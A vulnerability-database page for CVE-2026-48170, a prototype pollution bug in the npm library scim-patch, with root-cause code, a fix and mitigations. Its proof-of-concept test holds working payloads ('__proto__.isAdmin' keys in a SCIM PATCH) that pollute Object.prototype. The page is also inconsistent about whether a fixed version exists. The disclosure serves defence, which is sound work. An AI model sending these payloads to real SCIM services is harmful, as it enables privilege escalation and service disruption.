CVE-2026-48170

CRITICALPre-NVD 9.19.1
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution (CWE-1321)
  • Affected versions: <= 0.9.0 (current HEAD 871b1e2)
  • Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
  • Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
  • Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

  • Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.
  • Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).
  • Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

// src/scimPatch.ts:423-427 for (const [key, value] of Object.entries(patch.value)) { assign(property, resolvePaths(key), value, patch.op); } return property; }

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

  • "__proto__" in obj is always true, so the fresh-object branch is skipped.
  • obj = obj["__proto__"] now points to Object.prototype.
  • The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => { let scimUser: ScimUser;

beforeEach(() => { scimUser = JSON.parse({ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "tea_4", "userName": "spiderman", "name": { "familyName": "Parker", "givenName": "Peter" }, "active": true, "emails": [{ "value": "[email protected]", "primary": true }], "roles": [], "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" } }); });

afterEach(() => { delete (Object.prototype as any).polluted; delete (Object.prototype as any).isAdmin; });

it('pollutes Object.prototype via a value-key containing __proto__', () => { expect(({} as any).polluted).to.equal(undefined);

scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.polluted': 'yes' } }]);

expect((Object.prototype as any).polluted).to.equal('yes'); expect(({} as any).polluted).to.equal('yes'); });

it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => { expect(({} as any).isAdmin).to.equal(undefined);

scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.isAdmin': true } }]);

expect((Object.prototype as any).isAdmin).to.equal(true); expect(({} as any).isAdmin).to.equal(true); }); });

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array, value: any, op: string) { for (const key of keyPath) { if (DANGEROUS_KEYS.has(key)) { throw new InvalidScimPatchOp(Forbidden key in patch path: ${key}); } } // ... existing logic }

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

CVSS v3
9.1
EG Score
9.1(low)
EPSS
KEV
Not listed

Published

June 22, 2026

Last Modified

June 22, 2026

Vendor Advisories for CVE-2026-48170(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
scim-patch0.9.1

Data Freshness Timeline

(refreshed 40× in last 7d / 83× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 04:43 UTCEG score recompute
  2. 2026-07-07 00:33 UTCEG score recompute
  3. 2026-07-06 20:28 UTCEG score recompute
  4. 2026-07-06 15:30 UTCEG score recompute
  5. 2026-07-06 11:24 UTCEG score recompute
  6. 2026-07-06 06:30 UTCEG score recompute
  7. 2026-07-06 02:26 UTCEG score recompute
  8. 2026-07-05 22:19 UTCEG score recompute
  9. 2026-07-05 18:15 UTCEG score recompute
  10. 2026-07-05 14:09 UTCEG score recompute
  11. 2026-07-05 09:56 UTCEG score recompute
  12. 2026-07-05 05:49 UTCEG score recompute
  13. 2026-07-05 01:41 UTCEG score recompute
  14. 2026-07-04 21:36 UTCEG score recompute
  15. 2026-07-04 17:32 UTCEG score recompute
  16. 2026-07-04 13:26 UTCEG score recompute
  17. 2026-07-04 09:21 UTCEG score recompute
  18. 2026-07-04 05:16 UTCEG score recompute
  19. 2026-07-04 01:10 UTCEG score recompute
  20. 2026-07-03 21:04 UTCEG score recompute
  21. 2026-07-03 16:59 UTCEG score recompute
  22. 2026-07-03 12:55 UTCEG score recompute
  23. 2026-07-03 07:30 UTCEG score recompute
  24. 2026-07-03 03:25 UTCEG score recompute
  25. 2026-07-02 23:20 UTCEG score recompute
Show 58 more
  1. 2026-07-02 19:15 UTCEG score recompute
  2. 2026-07-02 15:11 UTCEG score recompute
  3. 2026-07-02 11:05 UTCEG score recompute
  4. 2026-07-02 06:33 UTCEG score recompute
  5. 2026-07-02 02:26 UTCEG score recompute
  6. 2026-07-01 22:22 UTCEG score recompute
  7. 2026-07-01 17:58 UTCEG score recompute
  8. 2026-07-01 13:53 UTCEG score recompute
  9. 2026-07-01 09:49 UTCEG score recompute
  10. 2026-07-01 05:42 UTCEG score recompute
  11. 2026-07-01 01:34 UTCEG score recompute
  12. 2026-06-30 21:29 UTCEG score recompute
  13. 2026-06-30 17:24 UTCEG score recompute
  14. 2026-06-30 13:19 UTCEG score recompute
  15. 2026-06-30 09:14 UTCEG score recompute
  16. 2026-06-30 05:09 UTCEG score recompute
  17. 2026-06-30 01:01 UTCEG score recompute
  18. 2026-06-29 20:56 UTCEG score recompute
  19. 2026-06-29 16:51 UTCEG score recompute
  20. 2026-06-29 12:45 UTCEG score recompute
  21. 2026-06-29 08:40 UTCEG score recompute
  22. 2026-06-29 04:35 UTCEG score recompute
  23. 2026-06-29 00:28 UTCEG score recompute
  24. 2026-06-28 20:23 UTCEG score recompute
  25. 2026-06-28 16:18 UTCEG score recompute
  26. 2026-06-28 12:12 UTCEG score recompute
  27. 2026-06-28 08:06 UTCEG score recompute
  28. 2026-06-28 04:00 UTCEG score recompute
  29. 2026-06-27 23:55 UTCEG score recompute
  30. 2026-06-27 19:50 UTCEG score recompute
  31. 2026-06-27 15:45 UTCEG score recompute
  32. 2026-06-27 11:40 UTCEG score recompute
  33. 2026-06-27 07:35 UTCEG score recompute
  34. 2026-06-27 03:30 UTCEG score recompute
  35. 2026-06-26 23:21 UTCEG score recompute
  36. 2026-06-26 19:16 UTCEG score recompute
  37. 2026-06-26 15:12 UTCEG score recompute
  38. 2026-06-26 11:06 UTCEG score recompute
  39. 2026-06-26 05:19 UTCEG score recompute
  40. 2026-06-26 01:15 UTCEG score recompute
  41. 2026-06-25 21:10 UTCEG score recompute
  42. 2026-06-25 17:05 UTCEG score recompute
  43. 2026-06-25 13:01 UTCEG score recompute
  44. 2026-06-25 08:56 UTCEG score recompute
  45. 2026-06-25 04:52 UTCEG score recompute
  46. 2026-06-25 00:46 UTCEG score recompute
  47. 2026-06-24 20:41 UTCEG score recompute
  48. 2026-06-24 16:35 UTCEG score recompute
  49. 2026-06-24 12:30 UTCEG score recompute
  50. 2026-06-24 08:24 UTCEG score recompute
  51. 2026-06-24 04:18 UTCEG score recompute
  52. 2026-06-24 00:13 UTCEG score recompute
  53. 2026-06-23 20:08 UTCEG score recompute
  54. 2026-06-23 16:00 UTCEG score recompute
  55. 2026-06-23 11:56 UTCEG score recompute
  56. 2026-06-23 07:48 UTCEG score recompute
  57. 2026-06-23 03:38 UTCEG score recompute
  58. 2026-06-22 23:31 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48170?
CVE-2026-48170 is a critical vulnerability published on June 22, 2026. scimPatch vulnerable to prototype pollution via unfiltered keys in patch Summary scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "proto.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every…
When was CVE-2026-48170 disclosed?
CVE-2026-48170 was first published in the National Vulnerability Database on June 22, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48170?
CVE-2026-48170 has a CVSS v4.0 base score of 9.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48170?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48170, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48170

Explore →

Is Your Infrastructure Affected by CVE-2026-48170?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.